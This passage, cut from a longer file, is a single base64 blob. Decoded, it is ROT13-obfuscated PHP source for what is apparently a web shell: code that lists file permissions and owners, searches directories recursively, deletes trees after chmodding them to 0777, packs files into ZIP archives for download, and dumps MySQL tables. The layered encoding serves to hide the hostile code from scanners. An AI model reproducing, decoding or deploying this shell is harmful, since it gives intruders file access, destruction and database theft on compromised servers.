EBzdnlyY3JlemYoJHN2eXJjbmd1KTt2cyAoKCR6YnFyICYgMGtQMDAwKSA9PT0gMGtQMDAwKSB7JGdsY3IgPSAnZic7fXJ5ZnJ2cyAoKCR6YnFyICYgMGs0MDAwKSA9PT0gMGs0MDAwKSB7JGdsY3IgPSAncSc7fXJ5ZnJ2cyAoKCR6YnFyICYgMGtOMDAwKSA9PT0gMGtOMDAwKSB7JGdsY3IgPSAneSc7fXJ5ZnJ2cyAoKCR6YnFyICYgMGs4MDAwKSA9PT0gMGs4MDAwKSB7JGdsY3IgPSAnLSc7fQ0KcnlmcnZzICgoJHpicXIgJiAwazYwMDApID09PSAwazYwMDApIHskZ2xjciA9ICdvJzt9cnlmcnZzICgoJHpicXIgJiAwazIwMDApID09PSAwazIwMDApIHskZ2xjciA9ICdwJzt9cnlmcnZzICgoJHpicXIgJiAwazEwMDApID09PSAwazEwMDApIHskZ2xjciA9ICdjJzt9cnlmciB7JGdsY3IgPSAnPyc7fSRiamFyZVsnZXJucSddID0gKCR6YnFyICYgMDA0MDApID8gJ2UnIDogJy0nOyRiamFyZVsnamV2Z3InXSA9ICgkemJxciAmIDAwMjAwKSA/ICdqJyA6ICctJzskYmphcmVbJ3JrcnBoZ3InXSA9ICgkemJxciAmIDAwMTAwKSA/ICdrJyA6ICctJzskdGViaGNbJ2VybnEnXSA9ICgkemJxciAmIDAwMDQwKSA/ICdlJyA6ICctJzskdGViaGNbJ2pldmdyJ10gPSAoJHpicXIgJiAwMDAyMCkgPyAnaicgOiAnLSc7JHRlYmhjWydya3JwaGdyJ10gPSAoJHpicXIgJiAwMDAxMCkgPyAnaycgOiAnLSc7JGpiZXlxWydlcm5xJ10gPSAoJHpicXIgJiAwMDAwNCkgPyAnZScgOiAnLSc7JGpiZXlxWydqZXZnciddID0gKCR6YnFyICYgMDAwMDIpID8gJ2onIDogJy0nOyRqYmV5cVsncmtycGhnciddID0gKCR6YnFyICYgMDAwMDEpID8gJ2snIDogJy0nO3ZzKCR6YnFyICYgMGs4MDApIHskYmphcmVbJ3JrcnBoZ3InXSA9ICgkYmphcmVbJ3JrcnBoZ3InXT09J2snKSA/ICdmJyA6ICdGJzt9dnMoJHpicXIgJiAwazQwMCkgeyR0ZWJoY1sncmtycGhnciddID0gKCR0ZWJoY1sncmtycGhnciddPT0naycpID8gJ2YnIDogJ0YnO312cygkemJxciAmIDBrMjAwKSB7JGpiZXlxWydya3JwaGdyJ10gPSAoJGpiZXlxWydya3JwaGdyJ109PSdrJykgPyAnZycgOiAnRyc7fQ0KZXJnaGVhICRnbGNyLiRiamFyZVsnZXJucSddLiRiamFyZVsnamV2Z3InXS4kYmphcmVbJ3JrcnBoZ3InXS4kdGViaGNbJ2VybnEnXS4kdGViaGNbJ2pldmdyJ10uJHRlYmhjWydya3JwaGdyJ10uJGpiZXlxWydlcm5xJ10uJGpiZXlxWydqZXZnciddLiRqYmV5cVsncmtycGhnciddOw0KfXNoYXBndmJhIHRyZ0hmcmUoJHN2eXJjbmd1KXt2cyAoc2hhcGd2YmFfcmt2ZmdmKCdjYmZ2a190cmdjamh2cScpKSB7JG5lZW5sID0gQGNiZnZrX3RyZ2NqaHZxKEBzdnlyYmphcmUoJHN2eXJjbmd1KSk7dnMgKCRuZWVubCAmJiB2Zl9uZWVubCgkbmVlbmwpKSB7ZXJnaGVhICcgLyA8biB1ZXJzPSIjIiBndmd5cj0iSGZyZTogJy4kbmVlbmxbJ2FuenInXS4nJiMxMyYjMTBDbmZmanE6ICcuJG5lZW5sWydjbmZmanEnXS4nJiMxMyYjMTBIdnE6ICcuJG5lZW5sWydodnEnXS4nJiMxMyYjMTB0dnE6ICcuJG5lZW5sWyd0dnEnXS4nJiMxMyYjMTBUcnBiZjogJy4kbmVlbmxbJ3RycGJmJ10uJyYjMTMmIzEwUXZlOiAnLiRuZWVubFsncXZlJ10uJyYjMTMmIzEwRnVyeXk6ICcuJG5lZW5sWydmdXJ5eSddLiciPicuJG5lZW5sWydhbnpyJ10uJzwvbj4nO319ZXJnaGVhICcnOw0KfXNoYXBndmJhIHFyeWdlcnIoJHFyeXF2ZSkgeyR6bHF2ZT1AcXZlKCRxcnlxdmUpOwkNCmp1dnlyKCRzdnlyPSR6bHF2ZS0+ZXJucSgpKXsJDQp2cygodmZfcXZlKCRxcnlxdmUuJy8nLiRzdnlyKSkgJiYgKCRzdnlyIT0nLicpICYmICgkc3Z5ciE9Jy4uJykpIHsNCkBwdXpicSgkcXJ5cXZlLicvJy4kc3Z5ciwwNzc3KTtxcnlnZXJyKCRxcnlxdmUuJy8nLiRzdnlyKTt9dnMgKHZmX3N2eXIoJHFyeXF2ZS4nLycuJHN2eXIpKSB7QHB1emJxKCRxcnlxdmUuJy8nLiRzdnlyLDA3NzcpO0BoYXl2YXgoJHFyeXF2ZS4nLycuJHN2eXIpO319DQokemxxdmUtPnB5YmZyKCk7QHB1emJxKCRxcnlxdmUsMDc3Nyk7ZXJnaGVhIEBlenF2ZSgkcXJ5cXZlKSA/IDEgOiAwOw0KfXNoYXBndmJhIG90KCkge3R5Ym9ueSAkb3RwO2VyZ2hlYSAoJG90cCsrJTI9PTApID8gJ255ZzEnIDogJ255ZzInOw0KfXNoYXBndmJhIHRyZ0NuZ3UoJGZwZXZjZ2NuZ3UsICRhYmpjbmd1KSB7dnMgKCRhYmpjbmd1ID09ICcuJykgeyRhYmpjbmd1ID0gJGZwZXZjZ2NuZ3U7fSRhYmpjbmd1ID0gZmdlX2VyY3lucHIoJ1xcJywgJy8nLCAkYWJqY25ndSk7JGFiamNuZ3UgPSBmZ2VfZXJjeW5wcignLy8nLCAnLycsICRhYmpjbmd1KTt2cyAoZmhvZmdlKCRhYmpjbmd1LCAtMSkgIT0gJy8nKSB7JGFiamNuZ3UgPSAkYWJqY25ndS4nLyc7fWVyZ2hlYSAkYWJqY25ndTsNCn1zaGFwZ3ZiYSB0cmdIY0NuZ3UoJGFiamNuZ3UpIHskY25ndXFvID0gcmtjeWJxcignLycsICRhYmpjbmd1KTskYWh6ID0gcGJoYWcoJGNuZ3Vxbyk7dnMgKCRhaHogPiAyKSB7aGFmcmcoJGNuZ3Vxb1skYWh6LTFdLCRjbmd1cW9bJGFoei0yXSk7fSRoY2NuZ3UgPSB2emN5YnFyKCcvJywgJGNuZ3VxbykuJy8nOyRoY2NuZ3UgPSBmZ2VfZXJjeW5wcignLy8nLCAnLycsICRoY2NuZ3UpO2VyZ2hlYSAkaGNjbmd1Ow0KfXNoYXBndmJhIHRyZ3BzdCgkaW5lYW56cikgeyRlcmZoeWcgPSB0cmdfcHN0X2luZSgkaW5lYW56cik7dnMgKCRlcmZoeWcgPT0gMCkge2VyZ2hlYSAnQWInO30gcnlmcnZzICgkZXJmaHlnID09IDEpIHtlcmdoZWEgJ0xyZic7fSByeWZyIHtlcmdoZWEgJGVyZmh5Zzt9fXNoYXBndmJhIHRyZ3NoYSgkc2hhQW56cikge2VyZ2hlYSAoc255ZnIgIT09IHNoYXBndmJhX3JrdmZnZigkc2hhQW56cikpID8gJ0xyZicgOiAnQWInOw0KfXNoYXBndmJhIHRyZ3JrZ3JhZnZiYSgkc3Z5cmFuenIpIHskY25ndXZhc2IgPSBjbmd1dmFzYigkc3Z5cmFuenIpO2VyZ2hlYSAkY25ndXZhc2JbJ3JrZ3JhZnZiYSddOw0KfXNoYXBndmJhIFRyZ0pRdmVZdmZnKCRxdmUpe3R5Ym9ueSAkcXZlcW5nbiwkdywkYWJqY25ndTshJHcgJiYgJHc9MTt2cyAoJHF1ID0gYmNyYXF2ZSgkcXZlKSkge2p1dnlyICgkc3Z5ciA9IGVybnFxdmUoJHF1KSkgeyRzPWZnZV9lcmN5bnByKCcvLycsJy8nLCRxdmUuJy8nLiRzdnlyKTt2cygkc3Z5ciE9Jy4nICYmICRzdnlyIT0nLi4nICYmIHZmX3F2ZSgkcykpe3ZzICh2Zl9qZXZnbm95cigkcykpIHskcXZlcW5nblskd11bJ3N2eXJhbnpyJ109ZmdlX2VyY3lucHIoJGFiamNuZ3UsJycsJHMpOyRxdmVxbmduWyR3XVsnemd2enInXT1AcW5ncignTC16LXEgVTp2OmYnLHN2eXJ6Z3Z6cigkcykpOyRxdmVxbmduWyR3XVsncXZlcHV6YnEnXT10cmdQdXpicSgkcyk7JHF2ZXFuZ25bJHddWydxdmVjcmV6J109dHJnQ3JlemYoJHMpOyRxdmVxbmduWyR3XVsncXZleXZheCddPWhyKCRxdmUpOyRxdmVxbmduWyR3XVsnZnJlaXJlX3l2YXgnXT0kczskcXZlcW5nblskd11bJ3B5dnJhZ195dmF4J109aHIoJHMpOyR3Kys7fVRyZ0pRdmVZdmZnKCRzKTt9fXB5YmZycXZlKCRxdSk7cHlybmVmZ25ncG5wdXIoKTtlcmdoZWEgJHF2ZXFuZ247fSByeWZyIHtlcmdoZWEgbmVlbmwoKTt9fXNoYXBndmJhIFRyZ0pTdnlyWXZmZygkcXZlKXt0eWJvbnkgJHN2eXJxbmduLCR3LCRhYmpjbmd1LCAkamV2Z25veXJxbzshJHcgJiYgJHc9MTt2cyAoJHF1ID0gYmNyYXF2ZSgkcXZlKSkge2p1dnlyICgkc3Z5ciA9IGVybnFxdmUoJHF1KSkgeyRya2cgPSB0cmdya2dyYWZ2YmEoJHN2eXIpOyRzPWZnZV9lcmN5bnByKCcvLycsJy8nLCRxdmUuJy8nLiRzdnlyKTt2cygkc3Z5ciE9Jy4nICYmICRzdnlyIT0nLi4nICYmIHZmX3F2ZSgkcykpe1RyZ0pTdnlyWXZmZygkcyk7fSByeWZydnMoJHN2eXIhPScuJyAmJiAkc3Z5ciE9Jy4uJyAmJiB2Zl9zdnlyKCRzKSAmJiB2YV9uZWVubCgkcmtnLCBya2N5YnFyKCcsJywgJGpldmdub3lycW8pKSl7dnMgKHZmX2pldmdub3lyKCRzKSkgeyRzdnlycW5nblskd11bJ3N2eXJhbnpyJ109ZmdlX2VyY3lucHIoJGFiamNuZ3UsJycsJHMpOyRzdnlycW5nblskd11bJ2Z2bXInXT1mdm1ycGJoYWcoQHN2eXJmdm1yKCRzKSk7JHN2eXJxbmduWyR3XVsnemd2enInXT1AcW5ncignTC16LXEgVTp2OmYnLHN2eXJ6Z3Z6cigkcykpOyRzdnlycW5nblskd11bJ3N2eXJwdXpicSddPXRyZ1B1emJxKCRzKTskc3Z5cnFuZ25bJHddWydzdnlyY3JleiddPXRyZ0NyZXpmKCRzKTskc3Z5cnFuZ25bJHddWydzdnlyYmphcmUnXT10cmdIZnJlKCRzKTskc3Z5cnFuZ25bJHddWydxdmV5dmF4J109JHF2ZTskc3Z5cnFuZ25bJHddWydmcmVpcmVfeXZheCddPSRzOyRzdnlycW5nblskd11bJ3B5dnJhZ195dmF4J109aHIoJHMpOyR3Kys7fX19cHliZnJxdmUoJHF1KTtweXJuZWZnbmdwbnB1cigpO2VyZ2hlYSAkc3Z5cnFuZ247fSByeWZyIHtlcmdoZWEgbmVlbmwoKTt9fXNoYXBndmJhIFRyZ0ZTdnlyWXZmZygkcXZlLCAkcGJhZ3JhZywgJGVyID0gMCkge3R5Ym9ueSAkc3Z5cnFuZ24sJHcsJGFiamNuZ3UsICRqZXZnbm95cnFvOyEkdyAmJiAkdz0xO3ZzICgkcXUgPSBiY3JhcXZlKCRxdmUpKSB7anV2eXIgKCRzdnlyID0gZXJucXF2ZSgkcXUpKSB7JHJrZyA9IHRyZ3JrZ3JhZnZiYSgkc3Z5cik7JHM9ZmdlX2VyY3lucHIoJy8vJywnLycsJHF2ZS4nLycuJHN2eXIpO3ZzKCRzdnlyIT0nLicgJiYgJHN2eXIhPScuLicgJiYgdmZfcXZlKCRzKSl7VHJnRlN2eXJZdmZnKCRzLCAkcGJhZ3JhZywgJGVyID0gMCk7fSByeWZydnMoJHN2eXIhPScuJyAmJiAkc3Z5ciE9Jy4uJyAmJiB2Zl9zdnlyKCRzKSAmJiB2YV9uZWVubCgkcmtnLCBya2N5YnFyKCcsJywgJGpldmdub3lycW8pKSl7JHN2YXEgPSAwO3ZzICgkZXIpIHt2cyAoY2VydF96bmdwdSgnQCcuJHBiYWdyYWcuJ0AnLCRzdnlyKSB8fCBjZXJ0X3puZ3B1KCdAJy4kcGJhZ3JhZy4nQCcsIEBzdnlyX3RyZ19wYmFncmFnZigkcykpKXskc3ZhcSA9IDE7fX0gcnlmciB7dnMgKGZnZWZnZSgkc3Z5ciwgJHBiYWdyYWcpIHx8IGZnZWZnZShAc3Z5cl90cmdfcGJhZ3JhZ2YoJHMpLCRwYmFncmFnKSkgeyRzdmFxID0gMTt9fXZzICgkc3ZhcSkgeyRzdnlycW5nblskd11bJ3N2eXJhbnpyJ109ZmdlX2VyY3lucHIoJGFiamNuZ3UsJycsJHMpOyRzdnlycW5nblskd11bJ2Z2bXInXT1mdm1ycGJoYWcoQHN2eXJmdm1yKCRzKSk7JHN2eXJxbmduWyR3XVsnemd2enInXT1AcW5ncignTC16LXEgVTp2OmYnLHN2eXJ6Z3Z6cigkcykpOyRzdnlycW5nblskd11bJ3N2eXJwdXpicSddPXRyZ1B1emJxKCRzKTskc3Z5cnFuZ25bJHddWydzdnlyY3JleiddPXRyZ0NyZXpmKCRzKTskc3Z5cnFuZ25bJHddWydzdnlyYmphcmUnXT10cmdIZnJlKCRzKTskc3Z5cnFuZ25bJHddWydxdmV5dmF4J109JHF2ZTskc3Z5cnFuZ25bJHddWydmcmVpcmVfeXZheCddPSRzOyRzdnlycW5nblskd11bJ3B5dnJhZ195dmF4J109aHIoJHMpOyR3Kys7fX19cHliZnJxdmUoJHF1KTtweXJuZWZnbmdwbnB1cigpO2VyZ2hlYSAkc3Z5cnFuZ247fSByeWZyIHtlcmdoZWEgbmVlbmwoKTt9fXNoYXBndmJhIGRsKCRmZHkpIHsNCiRlcmYgPSAkcmVlYmUgPSAnJzt2cyghJGVyZiA9IEB6bGZkeV9kaHJlbCgkZmR5KSkgew0KZXJnaGVhIDA7fSByeWZyIHZzKHZmX2VyZmJoZXByKCRlcmYpKSB7ZXJnaGVhIDE7fSByeWZyIHtlcmdoZWEgMjt9DQplcmdoZWEgMDsNCn1zaGFwZ3ZiYSBkKCRmZHkpIHsNCmVyZ2hlYSBAemxmZHlfZGhyZWwoJGZkeSk7DQp9c2hhcGd2YmEgc2UoJGRsKXt6bGZkeV9zZXJyX2VyZmh5ZygkZGwpOw0KfXNoYXBndmJhIHpmZCgkZmR5KSB7DQplcmdoZWEgQHpmZmR5X2RocmVsKCRmZHkpOw0KfXNoYXBndmJhIHpmc2UoJGRsKXt6ZmZkeV9zZXJyX2VyZmh5ZygkZGwpOw0KfXNoYXBndmJhIHpmemZ0KCl7ZXJnaGVhIHpmZmR5X3RyZ195bmZnX3pyZmZudHIoKTsNCn1zaGFwZ3ZiYSB6ZmRsKCRmZHkpIHskZXJmID0gJHJlZWJlID0gJyc7dnMoISRlcmYgPSBAemZmZHlfZGhyZWwoJGZkeSkpIHsNCmVyZ2hlYSAwO30gcnlmciB2cyh2Zl9lcmZiaGVwcigkZXJmKSkge2VyZ2hlYSAxO30gcnlmciB7ZXJnaGVhIDI7fQ0KZXJnaGVhIDA7DQp9c2hhcGd2YmEgZnZtcnBiaGFnKCRmdm1yKSB7dnMoJGZ2bXIgPiAxMDczNzQxODI0KSB7JGZ2bXIgPSBlYmhhcSgkZnZtciAvIDEwNzM3NDE4MjQgKiAxMDApIC8gMTAwIC4gJyBUJzt9IHJ5ZnJ2cygkZnZtciA+IDEwNDg1NzYpIHskZnZtciA9IGViaGFxKCRmdm1yIC8gMTA0ODU3NiAqIDEwMCkgLyAxMDAgLiAnIFonO30gcnlmcnZzKCRmdm1yID4gMTAyNCkgeyRmdm1yID0gZWJoYXEoJGZ2bXIgLyAxMDI0ICogMTAwKSAvIDEwMCAuICcgWCc7fSByeWZyIHskZnZtciA9ICRmdm1yIC4gJyBPJzt9ZXJnaGVhICRmdm1yOw0KfXB5bmZmIENVQ012Y3tpbmUgJGJoZz0nJztzaGFwZ3ZiYSBDVUNNdmMoJHF2ZSl7dnMgKEBzaGFwZ3ZiYV9ya3ZmZ2YoJ3RtcGJ6Y2VyZmYnKSl7JHBoZXF2ZSA9IHRyZ3BqcSgpO3ZzICh2Zl9uZWVubCgkcXZlKSkgJHN2eXJ5dmZnID0gJHF2ZTtyeWZyeyRzdnlyeXZmZz0kZ3V2ZiAtPiBUcmdTdnlyWXZmZygkcXZlKTtzYmVybnB1KCRzdnlyeXZmZyBuZiAkeD0+JGkpICRzdnlyeXZmZ1tdPWZob2ZnZSgkaSxmZ2V5cmEoJHF2ZSkrMSk7fXZzICgoIXJ6Y2dsKCRxdmUpKSYmKCF2Zl9uZWVubCgkcXZlKSkmJihzdnlyX3JrdmZnZigkcXZlKSkpIHB1cXZlKCRxdmUpO3J5ZnIgcHVxdmUoJHBoZXF2ZSk7dnMgKHBiaGFnKCRzdnlyeXZmZyk+MCl7c2Jlcm5wdSgkc3Z5cnl2ZmcgbmYgJHN2eXJhbnpyKXt2cyAodmZfc3Z5cigkc3Z5cmFuenIpKXskc3EgPSBzYmNyYSAoJHN2eXJhbnpyLCAnZScpOyRwYmFncmFnID0gQHNlcm5xICgkc3EsIHN2eXJmdm1yKCRzdnlyYW56cikpO3NweWJmciAoJHNxKTt2cyAodmZfbmVlbmwoJHF2ZSkpICRzdnlyYW56ciA9IG9uZnJhbnpyKCRzdnlyYW56cik7JGd1dmYgLT4gbnFxU3Z5cigkcGJhZ3JhZywgJHN2eXJhbnpyKTt9fSRndXZmLT5iaGcgPSAkZ3V2ZiAtPiBzdnlyKCk7cHVxdmUoJHBoZXF2ZSk7fWVyZ2hlYSAxO31yeWZyIGVyZ2hlYSAwO31zaGFwZ3ZiYSBUcmdTdnlyWXZmZygkcXZlKXtmZ25ndnAgJG47dnMgKHZmX3F2ZSgkcXZlKSkge3ZzICgkcXUgPSBiY3JhcXZlKCRxdmUpKSB7anV2eXIgKCRzdnlyID0gZXJucXF2ZSgkcXUpKSB7dnMoJHN2eXIhPScuJyAmJiAkc3Z5ciE9Jy4uJyl7JHM9JHF2ZSAuJy8nLiAkc3Z5cjt2cyh2Zl9xdmUoJHMpKSAkZ3V2Zi0+VHJnU3Z5cll2ZmcoJHMpOyRuW109JHM7fX1weWJmcnF2ZSgkcXUpO319ZXJnaGVhICRuO31pbmUgJHFuZ25mcnAgPSBuZWVubCgpO2luZSAkcGdleV9xdmUgPSBuZWVubCgpO2luZSAkcmJzX3BnZXlfcXZlID0gIlxrNTBcazRvXGswNVxrMDZcazAwXGswMFxrMDBcazAwIjtpbmUgJGJ5cV9ic3NmcmcgPSAwO3NoYXBndmJhIGhhdmsyUWJmR3Z6cigkaGF2a2d2enIgPSAwKSB7JGd2enJuZWVubCA9ICgkaGF2a2d2enIgPT0gMCkgPyB0cmdxbmdyKCkgOiB0cmdxbmdyKCRoYXZrZ3Z6cik7dnMgKCRndnpybmVlbmxbJ2xybmUnXSA8IDE5ODApIHskZ3Z6cm5lZW5sWydscm5lJ10gPSAxOTgwOyRndnpybmVlbmxbJ3piYSddID0gMTskZ3Z6cm5lZW5sWyd6cW5sJ10gPSAxOyRndnpybmVlbmxbJ3ViaGVmJ10gPSAwOyRndnpybmVlbmxbJ3p2YWhncmYnXSA9IDA7JGd2enJuZWVubFsnZnJwYmFxZiddID0gMDt9ZXJnaGVhICgoJGd2enJuZWVubFsnbHJuZSddIC0gMTk4MCkgPDwgMjUpIHwgKCRndnpybmVlbmxbJ3piYSddIDw8IDIxKSB8ICgkZ3Z6cm5lZW5sWyd6cW5sJ10gPDwgMTYpIHwNCigkZ3Z6cm5lZW5sWyd1YmhlZiddIDw8IDExKSB8ICgkZ3Z6cm5lZW5sWyd6dmFoZ3JmJ10gPDwgNSkgfCAoJGd2enJuZWVubFsnZnJwYmFxZiddID4+IDEpO31zaGFwZ3ZiYSBucXFTdnlyKCRxbmduLCAkYW56ciwgJGd2enIgPSAwKSB7JGFuenIgPSBmZ2VfZXJjeW5wcignXFwnLCAnLycsICRhbnpyKTskcWd2enIgPSBxcnB1cmsoJGd1dmYtPmhhdmsyUWJmR3Z6cigkZ3Z6cikpOyR1cmtxZ3Z6cgk9ICdcaycgLiAkcWd2enJbNl0gLiAkcWd2enJbN10NCi4gJ1xrJyAuICRxZ3Z6cls0XSAuICRxZ3Z6cls1XQ0KLiAnXGsnIC4gJHFndnpyWzJdIC4gJHFndnpyWzNdDQouICdcaycgLiAkcWd2enJbMF0gLiAkcWd2enJbMV07cmlueSgnJHVya3FndnpyID0gIicgLiAkdXJrcWd2enIgLiAnIjsnKTskc2UJPSAiXGs1MFxrNG9cazAzXGswNCI7JHNlCS49ICJcazE0XGswMCI7JHNlCS49ICJcazAwXGswMCI7JHNlCS49ICJcazA4XGswMCI7JHNlCS49ICR1cmtxZ3Z6cjskaGFwX3lyYSA9IGZnZXlyYSgkcW5nbik7JHBlcCA9IHBlcDMyKCRxbmduKTskbXFuZ24gPSB0bXBiemNlcmZmKCRxbmduKTskcF95cmEgPSBmZ2V5cmEoJG1xbmduKTskbXFuZ24gPSBmaG9mZ2UoZmhvZmdlKCRtcW5nbiwgMCwgZmdleXJhKCRtcW5nbikgLSA0KSwgMik7JHNlIC49IGNucHgoJ0knLCAkcGVwKTskc2UgLj0gY25weCgnSScsICRwX3lyYSk7JHNlIC49IGNucHgoJ0knLCAkaGFwX3lyYSk7JHNlIC49IGNucHgoJ2knLCBmZ2V5cmEoJGFuenIpKTskc2UgLj0gY25weCgnaScsIDApOyRzZSAuPSAkYW56cjskc2UgLj0gJG1xbmduOyRzZSAuPSBjbnB4KCdJJywgJHBlcCk7JHNlIC49IGNucHgoJ0knLCAkcF95cmEpOyRzZSAuPSBjbnB4KCdJJywgJGhhcF95cmEpOyRndXZmIC0+IHFuZ25mcnBbXSA9ICRzZTskYXJqX2Jzc2ZyZyA9IGZnZXlyYSh2emN5YnFyKCcnLCAkZ3V2Zi0+cW5nbmZycCkpOyRwcWVycCA9ICJcazUwXGs0b1xrMDFcazAyIjskcHFlcnAgLj0gIlxrMDBcazAwIjskcHFlcnAgLj0gIlxrMTRcazAwIjskcHFlcnAgLj0gIlxrMDBcazAwIjskcHFlcnAgLj0gIlxrMDhcazAwIjskcHFlcnAgLj0gJHVya3FndnpyOyRwcWVycCAuPSBjbnB4KCdJJywgJHBlcCk7JHBxZXJwIC49IGNucHgoJ0knLCAkcF95cmEpOyRwcWVycCAuPSBjbnB4KCdJJywgJGhhcF95cmEpOyRwcWVycCAuPSBjbnB4KCdpJywgZmdleXJhKCRhbnpyKSk7JHBxZXJwIC49IGNucHgoJ2knLCAwKTskcHFlcnAgLj0gY25weCgnaScsIDApOyRwcWVycCAuPSBjbnB4KCdpJywgMCk7JHBxZXJwIC49IGNucHgoJ2knLCAwKTskcHFlcnAgLj0gY25weCgnSScsIDMyKTskcHFlcnAgLj0gY25weCgnSScsICRndXZmIC0+IGJ5cV9ic3NmcmcpOyRndXZmIC0+IGJ5cV9ic3NmcmcgPSAkYXJqX2Jzc2ZyZzskcHFlcnAgLj0gJGFuenI7JGd1dmYgLT4gcGdleV9xdmVbXSA9ICRwcWVycDt9c2hhcGd2YmEgc3Z5cigpIHskcW5nbiA9IHZ6Y3licXIoJycsICRndXZmIC0+IHFuZ25mcnApOyRwZ2V5cXZlID0gdnpjeWJxcignJywgJGd1dmYgLT4gcGdleV9xdmUpO2VyZ2hlYSAkcW5nbiAuICRwZ2V5cXZlIC4gJGd1dmYgLT4gcmJzX3BnZXlfcXZlIC4gY25weCgnaScsIGZ2bXJicygkZ3V2ZiAtPiBwZ2V5X3F2ZSkpIC4gY25weCgnaScsIGZ2bXJicygkZ3V2ZiAtPiBwZ2V5X3F2ZSkpIC4JY25weCgnSScsIGZnZXlyYSgkcGdleXF2ZSkpIC4gY25weCgnSScsIGZnZXlyYSgkcW5nbikpIC4gIlxrMDBcazAwIjt9fXNoYXBndmJhIGZkeXFoemNnbm95cigkZ25veXIsICRzYz0wKSB7JGdub3lycWh6YyA9ICJRRUJDIEdOT1lSIFZTIFJLVkZHRiAkZ25veXI7XGEiOyRnbm95cnFoemMgLj0gIlBFUk5HUiBHTk9ZUiAkZ25veXIgKFxhIjskc3ZlZmdzdnJ5cT0xOyRzdnJ5cWYgPSBkKCJGVUJKIFNWUllRRiBTRUJaICRnbm95ciIpO2p1dnlyICgkc3ZyeXEgPSB6bGZkeV9zcmdwdV9uZWVubCgkc3ZyeXFmKSkge3ZzICghJHN2ZWZnc3ZyeXEpIHskZ25veXJxaHpjIC49ICIsXGEiO30gcnlmciB7JHN2ZWZnc3ZyeXE9MDt9JGdub3lycWh6YyAuPSAiICRzdnJ5cVtTdnJ5cV0gJHN2cnlxW0dsY3JdIjt2cyAoIXJ6Y2dsKCRzdnJ5cVsiUXJzbmh5ZyJdKSkgeyRnbm95cnFoemMgLj0gIiBRUlNOSFlHICckc3ZyeXFbUXJzbmh5Z10nIjt9dnMgKCRzdnJ5cVsnQWh5eSddICE9ICJMUkYiKSB7JGdub3lycWh6YyAuPSAiIEFCRyBBSFlZIjt9dnMgKCRzdnJ5cVsnUmtnZW4nXSAhPSAiIikgeyRnbm95cnFoemMgLj0gIiAkc3ZyeXFbUmtnZW5dIjt9fXNlKCRzdnJ5cWYpOyR4cmxmID0gZCgiRlVCSiBYUkxGIFNFQlogJGdub3lyIik7anV2eXIgKCR4cmwgPSB6bGZkeV9zcmdwdV9uZWVubCgkeHJsZikpIHskeGFuenI9JHhybFsnWHJsX2FuenInXTt2cyAoJHhhbnpyICE9ICJDRVZaTkVMIiAmJiAkeHJsWydBYmFfaGF2ZGhyJ10gPT0gMCkgeyR4YW56cj0iSEFWREhSfCR4YW56ciI7fXZzKCF2Zl9uZWVubCgkdmFxcmtbJHhhbnpyXSkpIHskdmFxcmtbJHhhbnpyXSA9IG5lZW5sKCk7fSR2YXFya1skeGFuenJdW10gPSAkeHJsWydQYnloemFfYW56ciddO31zZSgkeHJsZik7anV2eXIoeXZmZygkeGFuenIsICRwYnloemFmKSA9IEBybnB1KCR2YXFyaykpIHskZ25veXJxaHpjIC49ICIsXGEiOyRwYnlhbnpyZj12emN5YnFyKCRwYnloemFmLCIsIik7dnMgKCR4YW56ciA9PSAiQ0VWWk5FTCIpIHskZ25veXJxaHpjIC49ICIgQ0VWWk5FTCBYUkwgKCRwYnlhbnpyZikiO30gcnlmciB7dnMgKGZob2ZnZSgkeGFuenIsMCw2KSA9PSAiSEFWREhSIikgeyR4YW56cj1maG9mZ2UoJHhhbnpyLDcpO30kZ25veXJxaHpjIC49ICIgWFJMICR4YW56ciAoJHBieWFuenJmKSI7fX0kZ25veXJxaHpjIC49ICJcYSk7XGFcYSI7dnMgKCRzYykge3NqZXZncigkc2MsJGdub3lycWh6Yyk7fSByeWZyIHtycHViICRnbm95cnFoemM7fSRlYmpmID0gZCgiRlJZUlBHICogU0VCWiAkZ25veXIiKTskYWh6c3ZyeXFmID0gemxmZHlfYWh6X3N2cnlxZigkZWJqZik7anV2eXIgKCRlYmogPSB6bGZkeV9zcmdwdV9uZWVubCgkZWJqZikpIHskZ25veXJxaHpjID0gIlZBRlJFRyBWQUdCICRnbm95ciBJTllIUkYoIjskc3ZyeXFwYmhhZ3JlPS0xOyRzdmVmZ3N2cnlxPTE7anV2eXIgKCsrJHN2cnlxcGJoYWdyZTwkYWh6c3ZyeXFmKSB7dnMgKCEkc3ZlZmdzdnJ5cSkgeyRnbm95cnFoemMuPSIsICI7fSByeWZyIHskc3ZlZmdzdnJ5cT0wO312cyAoIXZmZnJnKCRlYmpbJHN2cnlxcGJoYWdyZV0pKSB7JGdub3lycWh6YyAuPSAiQUhZWSI7fSByeWZyIHskZ25veXJxaHpjIC49ICInIi56bGZkeV9yZnBuY3JfZmdldmF0KCRlYmpbJHN2cnlxcGJoYWdyZV0pLiInIjt9fSRnbm95cnFoemMgLj0gIik7XGEiO3ZzICgkc2MpIHtzamV2Z3IoJHNjLCRnbm95cnFoemMpO30gcnlmciB7cnB1YiAkZ25veXJxaHpjO319c2UoJGViamYpO3ZzICgkc2MpIHtzamV2Z3IoJHNjLCJcYSIpO30gcnlmciB7cnB1YiAiXGEiO319c2hhcGd2YmEgaHIoJGZnZSl7ZXJnaGVhIGhleXJhcGJxcigkZmdlKTt9c2hhcGd2YmEgYygkZmdlKXtycHViICRmZ2UuIlxhIjt9c2hhcGd2YmEgZ291cm5xKCkge2MoJzxnbm95ciBqdnFndT0iMTAwJSIgb2JlcXJlPSIwIiBwcnl5Y25xcXZhdD0iNCIgcHJ5eWZjbnB2YXQ9IjAiPicpO31zaGFwZ3ZiYSBnb3NiYmcoKXtjKCc8L2dub3lyPicpO31zaGFwZ3ZiYSB6bnhydXZxcigkYW56ciwkaW55aHI9Jycpe2MoIjx2YWNoZyB2cT1cIiRhbnpyXCIgZ2xjcj1cInV2cXFyYVwiIGFuenI9XCIkYW56clwiIGlueWhyPVwiJGlueWhyXCIgLz4iKTt9c2hhcGd2YmEgem54cnZhY2hnKCRuZXQgPSBuZWVubCgpKXskbmV0Wydmdm1yJ10gPSAkbmV0Wydmdm1yJ10gPiAwID8gImZ2bXI9XCIkbmV0W2Z2bXJdXCIiIDogImZ2bXI9XCIxMDBcIiI7JG5ldFsncmtnZW4nXSA9ICRuZXRbJ3JrZ2VuJ10gPyAkbmV0Wydya2dlbiddIDogJyc7ISRuZXRbJ2dsY3InXSAmJiAkbmV0WydnbGNyJ10gPSAnZ3JrZyc7JG5ldFsnZ3ZneXInXSA9ICRuZXRbJ2d2Z3lyJ10gPyAkbmV0Wydndmd5ciddLic8b2UgLz4nIDogJyc7JG5ldFsncHluZmYnXSA9ICRuZXRbJ3B5b